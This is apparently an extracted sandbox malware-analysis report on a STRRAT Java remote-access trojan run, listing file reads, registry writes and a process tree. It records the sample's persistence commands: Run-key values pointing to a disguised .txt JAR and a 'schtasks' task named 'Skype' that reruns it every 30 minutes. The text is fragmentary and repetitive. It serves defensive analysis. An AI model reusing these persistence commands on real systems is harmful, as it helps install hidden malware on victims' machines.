C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\logging.properties unknown 8192 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\logging.properties unknown 8192 end of file 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-
4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-
4899f5f57b9a

unknown 45 success or wait 1 6DD57663 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-
4053062332-1002\83aa4cc77f591dfc2374580bbd95f6ba_d06ed635-68f6-4e9a-955c-
4899f5f57b9a

unknown 45 success or wait 1 6DD57663 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 30 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol
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Registry ActivitiesRegistry Activities

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 160 success or wait 5 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 160 success or wait 3 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 1024 success or wait 722 6DD59F67 ReadFile

C:\Users\user\lib\jna-5.5.0.jar unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 1024 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 1024 success or wait 2 6DD59F67 ReadFile

C:\Users\user\lib\jna-platform-5.5.0.jar unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jar unknown 1024 success or wait 1 6DD59F67 ReadFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jar unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Users\user\lib\system-hook-3.5.jar unknown 1024 success or wait 388 6DD59F67 ReadFile

C:\Users\user\lib\system-hook-3.5.jar unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 1024 success or wait 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 1024 end of file 1 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 success or wait 89 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 success or wait 2 6DD59F67 ReadFile

C:\Users\user\AppData\Roaming\vmlpusjwhz.txt unknown 1024 end of file 2 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Users\user\vmlpusjwhz.txt unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 6DD59F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

Key Path Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\JavaSoft success or wait 1 6DD587F5 RegCreateKeyExA

HKEY_CURRENT_USER\Software\JavaSoft\Prefs success or wait 1 6DD587F5 RegCreateKeyExA

HKEY_LOCAL_MACHINE\Software\WOW6432Node\JavaSoft\Prefs success or wait 1 6DD587F5 RegCreateKeyExA

Key Path Name Type Data Completion Count
Source
Address Symbol

HKEY_CURRENT_USER\Software\Mic
rosoft\Windows\CurrentVersion\Run

vmlpusjwhz unicode "C:\Users\user\AppData\Roaming
\vmlpusjwhz.txt"

success or wait 1 6DD589E6 RegSetValueExA

HKEY_LOCAL_MACHINE\SOFTWARE\WO
W6432Node\Microsoft\Windows\CurrentVersion\Run

vmlpusjwhz unicode "C:\Users\user\AppData\Roaming
\vmlpusjwhz.txt"

success or wait 1 6DD589E6 RegSetValueExA

Start time: 21:04:28

Start date: 23/02/2021

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: conhost.exe PID: 5988 Parent PID: 720Analysis Process: conhost.exe PID: 5988 Parent PID: 720

General
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Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 21:04:34

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vml
pusjwhz.txt'

Imagebase: 0xbd0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Start time: 21:04:34

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roamin
g\vmlpusjwhz.txt'

Imagebase: 0xf0000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
00000010.00000002.519763899.0000000004ECD000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000010.00000002.520453366.0000000009F6C000.00000004.00000001.sdmp, Author: 
Joe Security

Reputation: moderate

Analysis Process: cmd.exe PID: 5848 Parent PID: 720Analysis Process: cmd.exe PID: 5848 Parent PID: 720

General

Analysis Process: java.exe PID: 4952 Parent PID: 720Analysis Process: java.exe PID: 4952 Parent PID: 720

General

Analysis Process: conhost.exe PID: 3096 Parent PID: 5848Analysis Process: conhost.exe PID: 3096 Parent PID: 5848
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Start time: 21:04:34

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:35

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:35

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true

Commandline: schtasks  /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwh
z.txt'

Imagebase: 0x7ff7ca4e0000

File size: 185856 bytes

MD5 hash: 15FF7D8324231381BAD48A052F85DF04

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:36

Start date: 23/02/2021

Path: C:\Windows\System32\notepad.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\NOTEPAD.EXE C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

Imagebase: 0x7ff7977d0000

File size: 245760 bytes

General

Analysis Process: conhost.exe PID: 4904 Parent PID: 4952Analysis Process: conhost.exe PID: 4904 Parent PID: 4952

General

Analysis Process: schtasks.exe PID: 5312 Parent PID: 5848Analysis Process: schtasks.exe PID: 5312 Parent PID: 5848

General

Analysis Process: notepad.exe PID: 2596 Parent PID: 528Analysis Process: notepad.exe PID: 2596 Parent PID: 528

General
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MD5 hash: BB9A06B8F2DD9D24C77F389D7B2B58D2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:40

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roamin
g\plugins.jar' mp

Imagebase: 0xf0000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
00000018.00000002.521334832.000000000A810000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_STRRAT, Description: Yara detected STRRAT, Source: 
00000018.00000002.517833863.000000000543D000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000018.00000002.520047801.000000000A56A000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000018.00000002.520214796.000000000A5A2000.00000004.00000001.sdmp, Author: 
Joe Security

Start time: 21:04:42

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:46

Start date: 23/02/2021

Path: C:\Windows\System32\notepad.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

Imagebase: 0x7ff7977d0000

Analysis Process: java.exe PID: 6284 Parent PID: 4952Analysis Process: java.exe PID: 6284 Parent PID: 4952

General

Analysis Process: conhost.exe PID: 6364 Parent PID: 6284Analysis Process: conhost.exe PID: 6364 Parent PID: 6284

General

Analysis Process: notepad.exe PID: 6576 Parent PID: 3388Analysis Process: notepad.exe PID: 6576 Parent PID: 3388

General
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File size: 245760 bytes

MD5 hash: BB9A06B8F2DD9D24C77F389D7B2B58D2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:04:55

Start date: 23/02/2021

Path: C:\Windows\System32\notepad.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

Imagebase: 0x7ff7977d0000

File size: 245760 bytes

MD5 hash: BB9A06B8F2DD9D24C77F389D7B2B58D2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:05:03

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roami
ng\plugins.jar' mp

Imagebase: 0xd60000

File size: 192376 bytes

MD5 hash: 4BFEB2F64685DA09DEBB95FB981D4F65

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000024.00000002.317682510.0000000004E1D000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000024.00000002.317809866.0000000004E65000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000024.00000002.317648149.0000000004E10000.00000004.00000001.sdmp, Author: 
Joe Security

Start time: 21:05:11

Start date: 23/02/2021

Path: C:\Windows\System32\notepad.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt

Imagebase: 0x7ff7977d0000

Analysis Process: notepad.exe PID: 7136 Parent PID: 3388Analysis Process: notepad.exe PID: 7136 Parent PID: 3388

General

Analysis Process: javaw.exe PID: 4880 Parent PID: 3388Analysis Process: javaw.exe PID: 4880 Parent PID: 3388

General

Analysis Process: notepad.exe PID: 6504 Parent PID: 3388Analysis Process: notepad.exe PID: 6504 Parent PID: 3388

General
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Disassembly

Code Analysis

File size: 245760 bytes

MD5 hash: BB9A06B8F2DD9D24C77F389D7B2B58D2

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 21:05:20

Start date: 23/02/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roami
ng\plugins.jar' mp

Imagebase: 0xd60000

File size: 192376 bytes

MD5 hash: 4BFEB2F64685DA09DEBB95FB981D4F65

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000027.00000002.352640886.000000000461D000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000027.00000002.352612506.0000000004610000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000027.00000002.352788509.0000000004665000.00000004.00000001.sdmp, Author: 
Joe Security

Analysis Process: javaw.exe PID: 6568 Parent PID: 3388Analysis Process: javaw.exe PID: 6568 Parent PID: 3388

General
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	General
	File Activities

	Analysis Process: icacls.exe PID: 5980 Parent PID: 5544
	General
	File Activities

	Analysis Process: conhost.exe PID: 384 Parent PID: 5980
	General

	Analysis Process: wscript.exe PID: 5712 Parent PID: 5544
	General
	File Activities

	Analysis Process: javaw.exe PID: 3164 Parent PID: 5712
	General
	File Activities

	Analysis Process: java.exe PID: 720 Parent PID: 3164
	General
	File Activities
	Registry Activities

	Analysis Process: conhost.exe PID: 5988 Parent PID: 720
	General

	Analysis Process: cmd.exe PID: 5848 Parent PID: 720
	General

	Analysis Process: java.exe PID: 4952 Parent PID: 720
	General

	Analysis Process: conhost.exe PID: 3096 Parent PID: 5848
	General

	Analysis Process: conhost.exe PID: 4904 Parent PID: 4952
	General

	Analysis Process: schtasks.exe PID: 5312 Parent PID: 5848
	General

	Analysis Process: notepad.exe PID: 2596 Parent PID: 528
	General

	Analysis Process: java.exe PID: 6284 Parent PID: 4952
	General

	Analysis Process: conhost.exe PID: 6364 Parent PID: 6284
	General

	Analysis Process: notepad.exe PID: 6576 Parent PID: 3388
	General

	Analysis Process: notepad.exe PID: 7136 Parent PID: 3388
	General

	Analysis Process: javaw.exe PID: 4880 Parent PID: 3388
	General

	Analysis Process: notepad.exe PID: 6504 Parent PID: 3388
	General

	Analysis Process: javaw.exe PID: 6568 Parent PID: 3388
	General
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